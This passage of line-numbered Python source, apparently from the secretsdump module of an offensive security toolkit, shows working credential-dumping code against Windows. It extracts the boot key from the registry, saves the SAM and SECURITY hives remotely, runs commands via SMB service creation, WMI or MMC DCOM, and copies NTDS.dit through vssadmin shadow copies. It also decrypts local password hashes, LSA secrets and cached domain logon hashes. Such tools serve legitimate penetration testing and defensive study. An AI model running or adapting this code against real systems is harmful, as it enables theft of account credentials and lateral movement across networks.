747 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)

748 keyHandle = ans['phkResult']

749 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)

750 bootKey = bootKey + b(ans['lpClassOut'][:-1])

751 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

752

753 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]

754

755 bootKey = unhexlify(bootKey)

756

757 for i in range(len(bootKey)):

758 self.__bootKey += bootKey[transforms[i]:transforms[i]+1]

759

760 LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))

761

762 return self.__bootKey

763

764 def checkNoLMHashPolicy(self):

765 LOG.debug('Checking NoLMHash Policy')

766 ans = rrp.hOpenLocalMachine(self.__rrp)

767 self.__regHandle = ans['phKey']

768

769 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')

770 keyHandle = ans['phkResult']

771 try:

772 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')

773 except:

774 noLMHash = 0

775

776 if noLMHash != 1: 776 ↛ 777line 776 didn't jump to line 777, because the condition on line 776 was never true

777 LOG.debug('LMHashes are being stored')

778 return False

779

780 LOG.debug('LMHashes are NOT being stored')

781 return True

782

783 def __retrieveHive(self, hiveName):

784 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'

785 ans = rrp.hOpenLocalMachine(self.__rrp)

786 regHandle = ans['phKey']

787 try:

788 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)

789 except:

790 raise Exception("Can't open %s hive" % hiveName)

791 keyHandle = ans['phkResult']

792 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)

793 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

794 rrp.hBaseRegCloseKey(self.__rrp, regHandle)

795 # Now let's open the remote file, so it can be read later

796 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)

797 return remoteFileName

798

799 def saveSAM(self):

800 LOG.debug('Saving remote SAM database')

801 return self.__retrieveHive('SAM')

802

803 def saveSECURITY(self):

804 LOG.debug('Saving remote SECURITY database')

805 return self.__retrieveHive('SECURITY')

806

807 def __smbExec(self, command):

808 self.__serviceDeleted = False

809 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,

810 lpBinaryPathName=command)

811 service = resp['lpServiceHandle']

812 try:

813 scmr.hRStartServiceW(self.__scmr, service)

814 except:

815 pass

816 scmr.hRDeleteService(self.__scmr, service)

817 self.__serviceDeleted = True

818 scmr.hRCloseServiceHandle(self.__scmr, service)

819

820 def __getInterface(self, interface, resp):

821 # Now let's parse the answer and build an Interface instance

822 objRefType = OBJREF(b''.join(resp))['flags']

823 objRef = None

824 if objRefType == FLAGS_OBJREF_CUSTOM:

825 objRef = OBJREF_CUSTOM(b''.join(resp))

826 elif objRefType == FLAGS_OBJREF_HANDLER:

827 objRef = OBJREF_HANDLER(b''.join(resp))

828 elif objRefType == FLAGS_OBJREF_STANDARD:

829 objRef = OBJREF_STANDARD(b''.join(resp))

830 elif objRefType == FLAGS_OBJREF_EXTENDED:

831 objRef = OBJREF_EXTENDED(b''.join(resp))

832 else:

833 logging.error("Unknown OBJREF Type! 0x%x" % objRefType)

834

835 return IRemUnknown2(

836 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],

837 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],

838 target=interface.get_target()))

839

840 def __mmcExec(self,command):

841 command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')

842 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()

843 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,

844 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)

845 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)

846 iMMC = IDispatch(iInterface)

847

848 resp = iMMC.GetIDsOfNames(('Document',))

849

850 dispParams = DISPPARAMS(None, False)

851 dispParams['rgvarg'] = NULL

852 dispParams['rgdispidNamedArgs'] = NULL

853 dispParams['cArgs'] = 0

854 dispParams['cNamedArgs'] = 0

855 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

856

857 iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

858 resp = iDocument.GetIDsOfNames(('ActiveView',))

859 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

860

861 iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

862 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]

863

864 pQuit = iMMC.GetIDsOfNames(('Quit',))[0]

865

866 dispParams = DISPPARAMS(None, False)

867 dispParams['rgdispidNamedArgs'] = NULL

868 dispParams['cArgs'] = 4

869 dispParams['cNamedArgs'] = 0

870 arg0 = VARIANT(None, False)

871 arg0['clSize'] = 5

872 arg0['vt'] = VARENUM.VT_BSTR

873 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR

874 arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'

875

876 arg1 = VARIANT(None, False)

877 arg1['clSize'] = 5

878 arg1['vt'] = VARENUM.VT_BSTR

879 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR

880 arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'

881

882 arg2 = VARIANT(None, False)

883 arg2['clSize'] = 5

884 arg2['vt'] = VARENUM.VT_BSTR

885 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR

886 arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]

887

888 arg3 = VARIANT(None, False)

889 arg3['clSize'] = 5

890 arg3['vt'] = VARENUM.VT_BSTR

891 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR

892 arg3['_varUnion']['bstrVal']['asData'] = '7'

893 dispParams['rgvarg'].append(arg3)

894 dispParams['rgvarg'].append(arg2)

895 dispParams['rgvarg'].append(arg1)

896 dispParams['rgvarg'].append(arg0)

897

898 iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])

899

900 dispParams = DISPPARAMS(None, False)

901 dispParams['rgvarg'] = NULL

902 dispParams['rgdispidNamedArgs'] = NULL

903 dispParams['cArgs'] = 0

904 dispParams['cNamedArgs'] = 0

905

906 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])

907

908

909 def __wmiExec(self, command):

910 # Convert command to wmi exec friendly format

911 command = command.replace('%COMSPEC%', 'cmd.exe')

912 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()

913 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,

914 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)

915 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)

916 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)

917 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)

918 iWbemLevel1Login.RemRelease()

919

920 win32Process,_ = iWbemServices.GetObject('Win32_Process')

921 win32Process.Create(command, '\\', None)

922

923 dcom.disconnect()

924

925 def __executeRemote(self, data):

926 self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])

927 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \

928 self.__shell + self.__batchFile

929 command += ' & ' + 'del ' + self.__batchFile

930

931 LOG.debug('ExecuteRemote command: %s' % command)

932 if self.__execMethod == 'smbexec': 932 ↛ 934line 932 didn't jump to line 934, because the condition on line 932 was never false

933 self.__smbExec(command)

934 elif self.__execMethod == 'wmiexec':

935 self.__wmiExec(command)

936 elif self.__execMethod == 'mmcexec':

937 self.__mmcExec(command)

938 else:

939 raise Exception('Invalid exec method %s, aborting' % self.__execMethod)

940

941

942 def __answer(self, data):

943 self.__answerTMP += data

944

945 def __getLastVSS(self, forDrive=None):

946 if forDrive: 946 ↛ 949line 946 didn't jump to line 949, because the condition on line 946 was never false

947 command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive

948 else:

949 command = '%COMSPEC% /C vssadmin list shadows'

950 self.__executeRemote(command)

951 time.sleep(5)

952 tries = 0

953 while True:

954 try:

955 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)

956 break

957 except Exception as e:

958 if tries > 30:

959 # We give up

960 raise Exception('Too many tries trying to list vss shadows')

961 if str(e).find('SHARING') > 0:

962 # Stuff didn't finish yet.. wait more

963 time.sleep(5)

964 tries +=1

965 pass

966 else:

967 raise

968

969 lines = self.__answerTMP.split(b'\n')

970 lastShadow = b''

971 lastShadowFor = b''

972 lastShadowId = b''

973

974 # Let's find the last one

975 # The string used to search the shadow for drive. Wondering what happens

976 # in other languages

977 SHADOWFOR = b'Volume: ('

978 IDSTART = b'Shadow Copy ID: {'

979 IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')

980

981 for line in lines:

982 if line.find(b'GLOBALROOT') > 0:

983 lastShadow = line[line.find(b'\\\\?'):][:-1]

984 elif line.find(SHADOWFOR) > 0:

985 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]

986 elif line.find(IDSTART) > 0:

987 lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]

988

989 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

990

991 LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))

992

993 return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')

994

995 def saveNTDS(self):

996 LOG.info('Searching for NTDS.dit')

997 # First of all, let's try to read the target NTDS.dit registry entry

998 ans = rrp.hOpenLocalMachine(self.__rrp)

999 regHandle = ans['phKey']

1000 try:

1001 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')

1002 keyHandle = ans['phkResult']

1003 except:

1004 # Can't open the registry path, assuming no NTDS on the other end

1005 return None

1006

1007 try:

1008 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')

1009 ntdsLocation = dataValue[:-1]

1010 ntdsDrive = ntdsLocation[:2]

1011 except:

1012 # Can't open the registry path, assuming no NTDS on the other end

1013 return None

1014

1015 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

1016 rrp.hBaseRegCloseKey(self.__rrp, regHandle)

1017

1018 LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)

1019 LOG.info('Using %s method for remote execution' % self.__execMethod)

1020 # Get the list of remote shadows

1021 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)

1022 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): 1022 ↛ 1024line 1022 didn't jump to line 1024, because the condition on line 1022 was never true

1023 # No shadow, create one

1024 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)

1025 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)

1026 shouldRemove = True

1027 if shadow == '' or shadowFor != ntdsDrive:

1028 raise Exception('Could not get a VSS')

1029 else:

1030 # There was already a shadow, let's not delete this

1031 shouldRemove = False

1032

1033 # Now copy the ntds.dit to the temp directory

1034 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'

1035

1036 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))

1037

1038 if shouldRemove is True: 1038 ↛ 1039line 1038 didn't jump to line 1039, because the condition on line 1038 was never true

1039 LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)

1040 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)

1041

1042

1043 tries = 0

1044 while True:

1045 try:

1046 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

1047 break

1048 except Exception as e:

1049 if tries >= 30:

1050 raise e

1051 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:

1052 tries += 1

1053 time.sleep(5)

1054 pass

1055 else:

1056 logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))

1057 pass

1058

1059 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

1060

1061 return remoteFileName

1062

1063 class CryptoCommon:

1064 # Common crypto stuff used over different classes

1065 def deriveKey(self, baseKey):

1066 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key

1067 # Let I be the little-endian, unsigned integer.

1068 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.

1069 # Note that because I is in little-endian byte order, I[0] is the least significant byte.

1070 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].

1071 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]

1072 key = pack('<L',baseKey)

1073 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]

1074 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]

1075 if PY2: 1075 ↛ 1076line 1075 didn't jump to line 1076, because the condition on line 1075 was never true

1076 return transformKey(b''.join(key1)),transformKey(b''.join(key2))

1077 else:

1078 return transformKey(bytes(key1)),transformKey(bytes(key2))

1079

1080 @staticmethod

1081 def decryptAES(key, value, iv=b'\x00'*16):

1082 plainText = b''

1083 if iv != b'\x00'*16: 1083 ↛ 1084line 1083 didn't jump to line 1084, because the condition on line 1083 was never true

1084 aes256 = AES.new(key,AES.MODE_CBC, iv)

1085

1086 for index in range(0, len(value), 16):

1087 if iv == b'\x00'*16: 1087 ↛ 1089line 1087 didn't jump to line 1089, because the condition on line 1087 was never false

1088 aes256 = AES.new(key,AES.MODE_CBC, iv)

1089 cipherBuffer = value[index: index+16]

1090 # Pad buffer to 16 bytes

1091 if len(cipherBuffer) < 16: 1091 ↛ 1092line 1091 didn't jump to line 1092, because the condition on line 1091 was never true

1092 cipherBuffer += b'\x00' * (16-len(cipherBuffer))

1093 plainText += aes256.decrypt(cipherBuffer)

1094

1095 return plainText

1096

1097

1098 class OfflineRegistry:

1099 def __init__(self, hiveFile = None, isRemote = False):

1100 self.__hiveFile = hiveFile

1101 if self.__hiveFile is not None: 1101 ↛ exitline 1101 didn't return from function '__init__', because the condition on line 1101 was never false

1102 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)

1103

1104 def enumKey(self, searchKey):

1105 parentKey = self.__registryHive.findKey(searchKey)

1106

1107 if parentKey is None: 1107 ↛ 1108line 1107 didn't jump to line 1108, because the condition on line 1107 was never true

1108 return

1109

1110 keys = self.__registryHive.enumKey(parentKey)

1111

1112 return keys

1113

1114 def enumValues(self, searchKey):

1115 key = self.__registryHive.findKey(searchKey)

1116

1117 if key is None: 1117 ↛ 1118line 1117 didn't jump to line 1118, because the condition on line 1117 was never true

1118 return

1119

1120 values = self.__registryHive.enumValues(key)

1121

1122 return values

1123

1124 def getValue(self, keyValue):

1125 value = self.__registryHive.getValue(keyValue)

1126

1127 if value is None: 1127 ↛ 1128line 1127 didn't jump to line 1128, because the condition on line 1127 was never true

1128 return

1129

1130 return value

1131

1132 def getClass(self, className):

1133 value = self.__registryHive.getClass(className)

1134

1135 if value is None:

1136 return

1137

1138 return value

1139

1140 def finish(self):

1141 if self.__hiveFile is not None: 1141 ↛ exitline 1141 didn't return from function 'finish', because the condition on line 1141 was never false

1142 # Remove temp file and whatever else is needed

1143 self.__registryHive.close()

1144

1145 class SAMHashes(OfflineRegistry):

1146 def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):

1147 OfflineRegistry.__init__(self, samFile, isRemote)

1148 self.__samFile = samFile

1149 self.__hashedBootKey = b''

1150 self.__bootKey = bootKey

1151 self.__cryptoCommon = CryptoCommon()

1152 self.__itemsFound = {}

1153 self.__perSecretCallback = perSecretCallback

1154

1155 def MD5(self, data):

1156 md5 = hashlib.new('md5')

1157 md5.update(data)

1158 return md5.digest()

1159

1160 def getHBootKey(self):

1161 LOG.debug('Calculating HashedBootKey from SAM')

1162 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"

1163 DIGITS = b"0123456789012345678901234567890123456789\0"

1164

1165 F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]

1166

1167 domainData = DOMAIN_ACCOUNT_F(F)

1168

1169 if domainData['Key0'][0:1] == b'\x01': 1169 ↛ 1182line 1169 didn't jump to line 1182, because the condition on line 1169 was never false

1170 samKeyData = SAM_KEY_DATA(domainData['Key0'])

1171

1172 rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)

1173 rc4 = ARC4.new(rc4Key)

1174 self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])

1175

1176 # Verify key with checksum

1177 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)

1178

1179 if checkSum != self.__hashedBootKey[16:]: 1179 ↛ 1180line 1179 didn't jump to line 1180, because the condition on line 1179 was never true

1180 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')

1181

1182 elif domainData['Key0'][0:1] == b'\x02':

1183 # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)

1184 samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])

1185

1186 self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,

1187 samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])

1188

1189 def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):

1190 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key

1191 # plus hashedBootKey stuff

1192 Key1,Key2 = self.__cryptoCommon.deriveKey(rid)

1193

1194 Crypt1 = DES.new(Key1, DES.MODE_ECB)

1195 Crypt2 = DES.new(Key2, DES.MODE_ECB)

1196

1197 if newStyle is False: 1197 ↛ 1202line 1197 didn't jump to line 1202, because the condition on line 1197 was never false

1198 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )

1199 rc4 = ARC4.new(rc4Key)

1200 key = rc4.encrypt(cryptedHash['Hash'])

1201 else:

1202 key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]

1203

1204 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])

1205

1206 return decryptedHash

1207

1208 def dump(self):

1209 NTPASSWORD = b"NTPASSWORD\0"

1210 LMPASSWORD = b"LMPASSWORD\0"

1211

1212 if self.__samFile is None: 1212 ↛ 1214line 1212 didn't jump to line 1214, because the condition on line 1212 was never true

1213 # No SAM file provided

1214 return

1215

1216 LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')

1217 self.getHBootKey()

1218

1219 usersKey = 'SAM\\Domains\\Account\\Users'

1220

1221 # Enumerate all the RIDs

1222 rids = self.enumKey(usersKey)

1223 # Remove the Names item

1224 try:

1225 rids.remove('Names')

1226 except:

1227 pass

1228

1229 for rid in rids:

1230 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])

1231 rid = int(rid,16)

1232

1233 V = userAccount['Data']

1234

1235 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')

1236

1237 if userAccount['NTHashLength'] == 0: 1237 ↛ 1238line 1237 didn't jump to line 1238, because the condition on line 1237 was never true

1238 logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName)

1239 continue

1240

1241 encNTHash = b''

1242 if V[userAccount['NTHashOffset']:][2:3] == b'\x01': 1242 ↛ 1251line 1242 didn't jump to line 1251, because the condition on line 1242 was never false

1243 # Old Style hashes

1244 newStyle = False

1245 if userAccount['LMHashLength'] == 20: 1245 ↛ 1246line 1245 didn't jump to line 1246, because the condition on line 1245 was never true

1246 encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])

1247 if userAccount['NTHashLength'] == 20:

1248 encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])

1249 else:

1250 # New Style hashes

1251 newStyle = True

1252 if userAccount['LMHashLength'] == 24:

1253 encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])

1254 encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])

1255

1256 LOG.debug('NewStyle hashes is: %s' % newStyle)

1257 if userAccount['LMHashLength'] >= 20: 1257 ↛ 1258line 1257 didn't jump to line 1258, because the condition on line 1257 was never true

1258 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)

1259 else:

1260 lmHash = b''

1261

1262 if encNTHash != b'':

1263 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)

1264 else:

1265 ntHash = b''

1266

1267 if lmHash == b'': 1267 ↛ 1269line 1267 didn't jump to line 1269, because the condition on line 1267 was never false

1268 lmHash = ntlm.LMOWFv1('','')

1269 if ntHash == b'':

1270 ntHash = ntlm.NTOWFv1('','')

1271

1272 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))

1273 self.__itemsFound[rid] = answer

1274 self.__perSecretCallback(answer)

1275

1276 def export(self, baseFileName, openFileFunc = None):

1277 if len(self.__itemsFound) > 0:

1278 items = sorted(self.__itemsFound)

1279 fileName = baseFileName+'.sam'

1280 fd = openFile(fileName, openFileFunc=openFileFunc)

1281 for item in items:

1282 fd.write(self.__itemsFound[item]+'\n')

1283 fd.close()

1284 return fileName

1285

1286 class LSASecrets(OfflineRegistry):

1287 UNKNOWN_USER = '(Unknown User)'

1288 class SECRET_TYPE:

1289 LSA = 0

1290 LSA_HASHED = 1

1291 LSA_RAW = 2

1292 LSA_KERBEROS = 3

1293

1294 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,

1295 perSecretCallback=lambda secretType, secret: _print_helper(secret)):

1296 OfflineRegistry.__init__(self, securityFile, isRemote)

1297 self.__hashedBootKey = b''

1298 self.__bootKey = bootKey

1299 self.__LSAKey = b''

1300 self.__NKLMKey = b''

1301 self.__vistaStyle = True

1302 self.__cryptoCommon = CryptoCommon()

1303 self.__securityFile = securityFile

1304 self.__remoteOps = remoteOps

1305 self.__cachedItems = []

1306 self.__secretItems = []

1307 self.__perSecretCallback = perSecretCallback

1308 self.__history = history

1309

1310 def MD5(self, data):

1311 md5 = hashlib.new('md5')

1312 md5.update(data)

1313 return md5.digest()

1314

1315 def __sha256(self, key, value, rounds=1000):

1316 sha = hashlib.sha256()

1317 sha.update(key)

1318 for i in range(1000):

1319 sha.update(value)

1320 return sha.digest()

1321

1322 def __decryptSecret(self, key, value):

1323 # [MS-LSAD] Section 5.1.2

1324 plainText = b''

1325

1326 encryptedSecretSize = unpack('<I', value[:4])[0]

1327 value = value[len(value)-encryptedSecretSize:]

1328

1329 key0 = key

1330 for i in range(0, len(value), 8):

1331 cipherText = value[:8]

1332 tmpStrKey = key0[:7]

1333 tmpKey = transformKey(tmpStrKey)

1334 Crypt1 = DES.new(tmpKey, DES.MODE_ECB)

1335 plainText += Crypt1.decrypt(cipherText)

1336 key0 = key0[7:]

1337 value = value[8:]

1338 # AdvanceKey

1339 if len(key0) < 7:

1340 key0 = key[len(key0):]

1341

1342 secret = LSA_SECRET_XP(plainText)

1343 return secret['Secret']

1344

1345 def __decryptHash(self, key, value, iv):

1346 hmac_md5 = HMAC.new(key,iv,MD5)

1347 rc4key = hmac_md5.digest()

1348

1349 rc4 = ARC4.new(rc4key)

1350 data = rc4.encrypt(value)

1351 return data

1352

1353 def __decryptLSA(self, value):

1354 if self.__vistaStyle is True: 1354 ↛ 1363line 1354 didn't jump to line 1363, because the condition on line 1354 was never false

1355 # ToDo: There could be more than one LSA Keys

1356 record = LSA_SECRET(value)

1357 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])

1358 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])

1359 record = LSA_SECRET_BLOB(plainText)

1360 self.__LSAKey = record['Secret'][52:][:32]

1361

1362 else:

1363 md5 = hashlib.new('md5')

1364 md5.update(self.__bootKey)

1365 for i in range(1000):

1366 md5.update(value[60:76])

1367 tmpKey = md5.digest()

1368 rc4 = ARC4.new(tmpKey)

1369 plainText = rc4.decrypt(value[12:60])

1370 self.__LSAKey = plainText[0x10:0x20]

1371

1372 def __getLSASecretKey(self):

1373 LOG.debug('Decrypting LSA Key')

1374 # Let's try the key post XP

1375 value = self.getValue('\\Policy\\PolEKList\\default')

1376 if value is None: 1376 ↛ 1377line 1376 didn't jump to line 1377, because the condition on line 1376 was never true

1377 LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')

1378 # Second chance

1379 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')

1380 self.__vistaStyle = False

1381 if value is None:

1382 # No way :(

1383 return None

1384

1385 self.__decryptLSA(value[1])

1386

1387 def __getNLKMSecret(self):

1388 LOG.debug('Decrypting NL$KM')

1389 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')

1390 if value is None: 1390 ↛ 1391line 1390 didn't jump to line 1391, because the condition on line 1390 was never true

1391 raise Exception("Couldn't get NL$KM value")

1392 if self.__vistaStyle is True: 1392 ↛ 1397line 1392 didn't jump to line 1397, because the condition on line 1392 was never false

1393 record = LSA_SECRET(value[1])

1394 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])

1395 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])

1396 else:

1397 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])

1398

1399 def __pad(self, data):

1400 if (data & 0x3) > 0:

1401 return data + (data & 0x3)

1402 else:

1403 return data

1404

1405 def dumpCachedHashes(self):

1406 if self.__securityFile is None: 1406 ↛ 1408line 1406 didn't jump to line 1408, because the condition on line 1406 was never true

1407 # No SECURITY file provided

1408 return

1409

1410 LOG.info('Dumping cached domain logon information (domain/username:hash)')

1411

1412 # Let's first see if there are cached entries

1413 values = self.enumValues('\\Cache')

1414 if values is None: 1414 ↛ 1416line 1414 didn't jump to line 1416, because the condition on line 1414 was never true

1415 # No cache entries

1416 return

1417 try:

1418 # Remove unnecessary value

1419 values.remove(b'NL$Control')

1420 except:

1421 pass

1422

1423 iterationCount = 10240

1424

1425 if b'NL$IterationCount' in values: 1425 ↛ 1426line 1425 didn't jump to line 1426, because the condition on line 1425 was never true

1426 values.remove(b'NL$IterationCount')

1427

1428 record = self.getValue('\\Cache\\NL$IterationCount')[1]

1429 if record > 10240:

1430 iterationCount = record & 0xfffffc00

1431 else:

1432 iterationCount = record * 1024

1433

1434 self.__getLSASecretKey()

1435 self.__getNLKMSecret()

1436

1437 for value in values:

1438 LOG.debug('Looking into %s' % value.decode('utf-8'))

1439 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])

1440 if record['IV'] != 16 * b'\x00': 1440 ↛ 1442line 1440 didn't jump to line 1442, because the condition on line 1440 was never true

1441 #if record['UserLength'] > 0:

1442 if record['Flags'] & 1 == 1:

1443 # Encrypted

1444 if self.__vistaStyle is True:

1445 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])

1446 else:

1447 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])

1448 pass

1449 else:

1450 # Plain! Until we figure out what this is, we skip it

1451 #plainText = record['EncryptedData']

1452 continue

1453 encHash = plainText[:0x10]

1454 plainText = plainText[0x48:]

1455 userName = plainText[:record['UserLength']].decode('utf-16le')

1456 plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]

1457 domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')

1458

1459 if self.__vistaStyle is True:

1460 answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'))

1461 else:

1462 answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName)

1463

1464 self.__cachedItems.append(answer)

1465 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)

1466

1467 def __printSecret(self, name, secretItem):

